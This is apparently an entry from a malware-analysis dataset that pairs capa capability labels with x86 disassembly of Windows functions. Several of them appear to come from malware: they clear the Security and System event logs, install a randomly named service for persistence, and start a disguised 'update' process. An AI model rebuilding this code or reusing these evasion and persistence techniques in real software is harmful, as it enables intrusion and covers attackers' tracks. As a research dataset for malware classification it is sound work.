joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c3f90
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x5557a0]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call fcn.004df4e2
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x4c3ff5
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x4c3ff5
lea eax, [esp]
push eax
call dword [0x555304]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004d14e6
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor eax, eax
xor ecx, esp
call fcn.004d14e6
add esp, 0x108
ret
Function at 0x4c7690
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov eax, dword [esi]
cmp dword [eax + 4], 3
jne 0x4c76bb
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x4c76aa
pop edi
xor eax, eax
pop esi
ret
push dword [eax + 8]
push dword [esp + 0x18]
push 1
push dword [esp + 0x1c]
call ecx
jmp 0x4c76f0
cmp dword [esi + 8], 0
jne 0x4c76de
push 0x51f0f4
push dword [eax + 8]
call fcn.004dd05d
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x4c76de
pop edi
or eax, 0xffffffff
pop esi
ret
push dword [esi + 8]
push dword [esp + 0x18]
push 1
push dword [esp + 0x1c]
call fcn.004ddd25
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x4c7712
mov eax, dword [esi + 8]
test eax, eax
je 0x4c770c
push eax
call fcn.004d8cbf
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, edi
pop edi
pop esi
ret

Function at 0x4cadb0
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov esi, ebx
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4cadc0
sub esi, ecx
lea ebp, [esi + esi]
push ebp
call dword [0x5552f8]
mov edi, eax
add esp, 4
test edi, edi
jne 0x4cade7
lea eax, [edi + 0x1b]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor ecx, ecx
test esi, esi
je 0x4cae00
lea ecx, [ecx]
mov al, byte [ecx + ebx]
mov byte [edi + ecx*2], al
mov byte [edi + ecx*2 + 1], 0
inc ecx
cmp ecx, esi
jb 0x4cadf0
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [esp + 0x28]
test eax, eax
je 0x4cae7a
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x8002
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x4cae6e
push 0
push ebp
push edi
push dword [esp + 0x1c]
mov dword [esp + 0x28], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea eax, [esp + 0x1c]
push eax
push esi
push 2
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi + 0x10], 0
push edi
mov byte [esi + 0x14], 0
call dword [0x5552fc]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x4caea0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
sub esp, 0x24
mov eax, dword [0x5557a0]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov esi, dword [esp + 0x30]
lea eax, [esp + 4]
push edi
mov edi, dword [esp + 0x38]
push 0xf0000000
push 1
push 0
push 0
push eax
mov dword [esp + 0x20], 8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4caf45
lea eax, [esp + 0x20]
mov dword [esp + 0x24], 0
push eax
xorps xmm0, xmm0
movdqu xmmword [esp + 0x18], xmm0
push edi
mov word [esp + 0x1c], 0x208
mov dword [esp + 0x20], 0x6601
mov dword [esp + 0x24], 8
call fcn.004cafb0
lea eax, [esp + 0x28]
push 8
push eax
call fcn.004ce380
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x14
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x4caf58
push eax
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
xor al, al
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004d14e6
add esp, 0x24
ret
mov ecx, dword [esp + 0x30]
push dword [esp + 0xc]
mov eax, dword [ecx]
mov dword [esi], eax
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
lea eax, [esp + 0x10]
push eax
push esi
push 0
push 0
push 0
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [esp + 0x28]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.004d14e6
add esp, 0x24
ret
Function at 0x4cfa90
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0x5552f8]
mov edi, eax
add esp, 4
test edi, edi
jne 0x4cfab7
pop edi
pop esi
pop ecx
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x1c]
mov dword [edi + 8], eax
push ebp
cmp ebx, dword [esi + 0x10]
jbe 0x4cfaff
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [esp + 0x24]
push dword [edi + 4]
call eax
mov ebp, dword [edi + 8]
push dword [edi + 4]
add ebp, dword [esi + 0xc]
mov eax, dword [esi + 8]
push ebp
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov dword [esp + 0x20], ebx
jmp 0x4cfb03
mov ebp, dword [esp + 0x1c]
push dword [edi + 4]
mov eax, dword [esi]
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [esp + 0x28]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x4cfb63
mov dword [esp + 0x10], eax
mov ebx, eax
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x18], al
lea eax, [esp + 0x18]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x24], al
lea eax, [esp + 0x24]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
dec ebx
jne 0x4cfb24
mov ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0x10]
jae 0x4cfb97
jmp 0x4cfb70
mov eax, dword [esi + 4]
push 1
push 0x52796e
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x52796f
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x4cfb70
pop ebp
pop ebx
mov eax, edi
pop edi
pop esi
pop ecx
ret

Function at 0x4d720f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x4fdeae
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5557a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004e0f4e
mov dword [ebp - 0x14], eax
cmp dword [0x560fa8], esi
jne 0x4fdfa1
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4fdf2e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4fe081
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4fe081
push 0x531f30
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4fe081
push eax
call ebx
push 0x531f3c
push edi
mov dword [0x560fa8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x560fac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x560fb0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x560fb8], eax
test eax, eax
je 0x4fdf9e
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x560fb4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4fdfc6
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4fdfb9
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4fdfdb
push 4
pop eax
jmp 0x4fe083
cmp dword [ebp - 0x14], esi
je 0x4fdfdb
push dword [0x560fa8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4fdfc0
mov eax, dword [0x560fb4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4fe039
cmp dword [0x560fb8], edi
je 0x4fe039
push eax
call ebx
push dword [0x560fb8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4fe039
test eax, eax
je 0x4fe039
call ecx
test eax, eax
je 0x4fe02e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4fe02e
test byte [ebp - 8], 1
jne 0x4fe039
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4fe069
mov eax, dword [0x560fac]
cmp eax, edi
je 0x4fe066
push eax
call ebx
test eax, eax
je 0x4fe066
call eax
mov esi, eax
test esi, esi
je 0x4fe066
mov eax, dword [0x560fb0]
cmp eax, edi
je 0x4fe066
push eax
call ebx
test eax, eax
je 0x4fe066
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x560fa8]
call ebx
test eax, eax
je 0x4fe081
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4fe083
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004d14e6
mov esp, ebp
pop ebp
ret
Function at 0x4067c1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x4067e6
mov eax, dword [0x40a914]
cmp eax, 0xffffffff
je 0x4067dd
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x40a914], 0xffffffff
jmp 0x406859
cmp dword [0x442aa0], ebx
je 0x406859
cmp byte [0x4426a0], bl
je 0x406825
cmp dword [0x40a914], 0xffffffff
jne 0x40682e
push 4
push 0x40000000
push 0x4426a0
call fcn.00406183
cmp eax, 0xffffffff
mov dword [0x40a914], eax
je 0x406859
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x40a914], 0xffffffff
je 0x406859
push esi
mov esi, 0x446ae0
push 0x40aae8
push esi
call fcn.004064d7
lea eax, [ebp + 8]
push ebx
push eax
push esi
call fcn.004064ca
push eax
push esi
push dword [0x40a914]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
pop ebx
pop ebp
ret 4

Function at 0x406a01
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x44228c], esi
push edi
jne 0x406a3b
mov ecx, 0x442288
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x406a17
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x442688
jl 0x406a12
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x406a70
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x442288]
xor eax, esi
inc ecx
dec edx
jne 0x406a53
pop edi
pop esi
not eax
ret 0xc

Function at 0x627255
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp + 0xc]
ja 0x627269
cmc
Function at 0x100048b0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x100048f5
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push connect
call ebp
test eax, eax
je 0x10004922
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push connect
call ebp
test eax, eax
je 0x100049a1
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x1001728c
push edx
call esi
add esp, 8
test eax, eax
jne 0x10004a1e
lea eax, [esp + 0x6c]
push 0x10017288
push eax
call esi
add esp, 8
test eax, eax
jne 0x10004a1e
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x10017284
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x10004a2d
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x10004a55
mov dword [esp + 0x30], 0x10017274
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret 8
Function at 0x10005760
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10007910
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x10006320
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10006342
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.1000a9d0
add esp, 8
test al, al
jne 0x10006356
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.lh0ST_UPdATe
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], 0x10017274
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x100063b0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x168]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100064a5
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100064a5
lea ecx, [esp + 0xc]
lea edx, [esp + 0x64]
push ecx
push edx
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x100064a5
lea eax, [esp + 0x64]
push 0x10017288
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x100064a5
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x20], 0x44
test eax, eax
je 0x1000647f
mov dword [esp + 0x28], 0x10017274
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
add esp, 0x160
ret

Function at 0x100064b0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10006500
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x100064e7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x10006590
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
push eax
call fcn.10007890
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
mov dword [esi], 0x1001350c
je 0x100065b9
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x100065cb
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x100065db
push eax
push 0x10019074
call edi
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push 0
push 0
push 0
push 0x10005f60
push 0
mov dword [0x100172cc], eax
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret 0x18
Function at 0x1000bc80
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push 0x104
mov eax, dword [esi]
push eax
push 0x100192c8
call dword [sym.imp.MSVCRT.dll_strncpy]
mov ecx, dword [esi]
push 0x104
push ecx
push 0x100192c8
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000bc50
push 0x100192c8
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 1
push 0
push 2
mov dword [0x100192bc], eax
call fcn.1000bbf0
push 0
push 0
push 4
call fcn.1000bbf0
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000cac0
push 0
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1000c590
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x100176f4], eax
push 0
push 0
call fcn.1000b9d0
add esp, 8
push 0x3e8
call esi
jmp 0x1000bd16

Function at 0x1000bd30
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x100192b8], eax
jne 0x1000bd4b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.A2n_H7raL_udWF
push str.dlaLAujWK
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x100192b4], eax
jne 0x1000bd84
pop ecx
ret
mov edx, dword [0x100192b8]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x100192b4]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.zs_M_wdQ_ziVK2mZM4peRAjVE2n_H
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000bdc0
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.dlaLAujWK
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], CancelIo
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret